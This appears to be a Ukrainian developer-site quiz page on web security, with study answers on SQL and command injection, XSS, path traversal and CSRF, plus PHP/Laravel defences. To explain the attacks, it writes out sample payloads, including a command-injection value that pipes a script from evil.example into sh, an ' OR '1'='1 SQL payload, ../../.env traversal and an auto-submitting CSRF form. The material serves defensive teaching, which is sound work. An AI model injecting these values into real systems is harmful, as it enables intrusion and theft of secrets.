Увійти Реєстрація
Блог Серії
Кар'єра
Вакансії Компанії
Навчання
Документація Співбесіди Тестування Відео
Екосистема
Пакети Ресурси Проєкти Інструменти Події
Інше
Про нас Реклама

Веб-безпека: ін'єкції, XSS і SSRF

20 питань · ~20 хв · Версія v3.0

Увійдіть, щоб продовжити

SQL- і командні ін'єкції, XSS, CSRF, SSRF і XXE, завантаження файлів, забруднення прототипу й ін'єкції в журнали - питання від middle до lead.

За спробу
20
У пулі
45
Проходжень
0
Середній бал
-
Пройшли на 70%+
-

Питання для підготовки

20 питань

SQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.

// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1  →  WHERE email = '' OR '1'='1'  → усі користувачі

Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.

Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);

User::where('email', $email)->first();   // Eloquent і Query Builder роблять те саме

Де помиляються навіть з ORM:

  • Сирі вирази з конкатенацією: whereRaw("email = '$email'"), DB::select("... $id"). Сирий SQL - лише з прив'язками: whereRaw('lower(email) = ?', [$email]).
  • Імена колонок і напрямок сортування не можна передати заповнювачем. orderBy($request->input('sort')) - звіряти з білим списком дозволених значень.
  • LIKE - заповнювач захищає від ін'єкції, але % і _ у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.

Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.

Докладніше в документації: OWASP: запобігання SQL-ін'єкціям

Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.

// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"

Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.

Захист - у порядку пріоритету:

1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.

2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:

use Illuminate\Support\Facades\Process;

Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);

Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.

3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():

exec('convert ' . escapeshellarg($path) . ' ...');

4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.

Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.

Додатково:

  • функції exec, system, passthru, shell_exec і proc_open можна вимкнути в disable_functions, якщо застосунку вони не потрібні;
  • процес вебсервера - з мінімальними правами в системі;
  • назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.

Докладніше в документації: OWASP: захист від ін'єкції команд ОС

XSS (Cross-Site Scripting) - вразливість, за якої нападник змушує сайт показати іншим користувачам свій JavaScript. Скрипт виконується в браузері жертви з правами вашого сайту: читає дані сторінки, робить запити від імені користувача, підміняє форми, краде токени з localStorage.

Три види:

  • Збережений (stored) - шкідливий код зберігається на сервері: коментар, ім'я профілю, опис товару. Спрацьовує в кожного, хто відкриє сторінку. Найнебезпечніший.
  • Відображений (reflected) - код приходить у параметрі запиту й одразу виводиться у відповіді: /search?q=<script>...</script>. Жертву треба змусити перейти за посиланням.
  • DOM-based - вразливість повністю в клієнтському JavaScript: скрипт бере дані з location.hash чи URL і вставляє через innerHTML, сервер навіть не бачить шкідливого вмісту.

Основний захист - екранування при виведенні відповідно до контексту:

{{ $comment->body }}      {{-- Blade екранує HTML автоматично --}}
{!! $comment->body !!}    {{-- небезпечно для даних користувача --}}

Додаткові рівні:

  • textContent замість innerHTML у JavaScript;
  • санітайзер (HTML Purifier, DOMPurify), якщо HTML від користувача справді потрібен;
  • Content Security Policy, що забороняє інлайнові скрипти;
  • cookie сесії з HttpOnly - XSS не зможе її прочитати (хоча робити запити від імені користувача все одно зможе).

Контексти мають значення: екранування для HTML не захищає значення в атрибуті href (javascript:alert(1)), усередині <script> чи CSS. Для кожного контексту - свої правила.

Докладніше в документації: OWASP: Cross Site Scripting

Обхід шляху - назва файлу від користувача містить ../ і виводить за межі дозволеного каталогу:

// вразливо
Route::get('/download', function (Request $request) {
    return response()->download(storage_path('app/invoices/' . $request->query('file')));
});
// file=../../.env  →  storage/app/invoices/../../.env  →  .env застосунку

Так читають .env (ключі, паролі бази), конфігурацію, вихідний код, системні файли. У поєднанні із записом файлів (розпакування архівів, збереження за назвою від користувача) - перезапис коду й виконання команд.

Варіанти атаки, які наївна перевірка пропускає:

  • закодовані послідовності: %2e%2e%2f, подвійне кодування %252e;
  • зворотні слеші на Windows: ..\..\;
  • абсолютні шляхи: /etc/passwd;
  • Zip Slip: архів з файлом ../../public/shell.php - під час розпакування він опиниться поза цільовим каталогом.

Захист:

1. Не приймати шлях від користувача взагалі. Найкраще - ідентифікатор запису в базі, а шлях до файлу береться з бази:

Route::get('/invoices/{invoice}/download', function (Invoice $invoice) {
    Gate::authorize('view', $invoice);
    return Storage::disk('invoices')->download($invoice->path);
});

Заодно це вирішує й авторизацію: користувач отримує лише свій файл.

2. Якщо назва з запиту неминуча - лише ім'я файлу без каталогів і білий список символів:

$name = basename($request->query('file'));
abort_unless(preg_match('/^[a-z0-9_-]+\.pdf$/i', $name), 404);

3. Перевірка канонічного шляху:

$base = realpath(storage_path('app/invoices'));
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
abort_unless($path !== false && str_starts_with($path, $base . DIRECTORY_SEPARATOR), 404);

4. Розпакування архівів - перевіряти кожен шлях усередині до запису.

Laravel Storage нормалізує шляхи й не дає вийти за корінь диска через ../ (Flysystem кидає виняток для шляхів за межами кореня). Але це не замінює перевірку прав: файл іншого користувача всередині того самого диска - вже не path traversal, а помилка авторизації.

Докладніше в документації: OWASP: Path Traversal

CSRF (Cross-Site Request Forgery) - чужий сайт змушує браузер користувача надіслати запит на ваш сайт. Браузер автоматично додає cookie вашого сайту, тож запит виглядає як справжній запит залогіненого користувача.

<!-- на evil.example -->
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

Нападник не бачить відповіді, але дія виконується.

Захист 1 - CSRF-токен. Сервер кладе в сесію випадковий токен і вимагає його в кожному запиті, що змінює стан. Чужий сайт не може прочитати токен (same-origin policy), тож не може його підставити.

<form method="POST" action="/transfer">
    @csrf
</form>

Laravel перевіряє токен автоматично для всіх POST/PUT/PATCH/DELETE у групі web.

Захист 2 - атрибут cookie SameSite:

  • Lax (його ставить Laravel; браузери на Chromium застосовують його й до cookie без атрибута) - cookie не надсилається в міжсайтових POST-запитах, лише при звичайних переходах за посиланнями (GET).
  • Strict - не надсилається в жодних міжсайтових запитах.

Чому потрібні обидва: SameSite не захищає від запитів з піддоменів того самого сайту, а старі браузери його не підтримують. Токен - основний захист, SameSite - додатковий рівень.

Важливо: GET-запити не мають змінювати стан. GET /logout чи GET /delete?id=5 легко викликати картинкою на чужій сторінці.

API з токенами в заголовку Authorization (не в cookie) до CSRF не вразливі: браузер не додає такий заголовок автоматично.

Докладніше в документації: OWASP: запобігання CSRF

Прочитати - ще не значить знати

20 питань, по одному на екран, ~20 хв. Після завершення - розбір кожної помилки з посиланням на питання.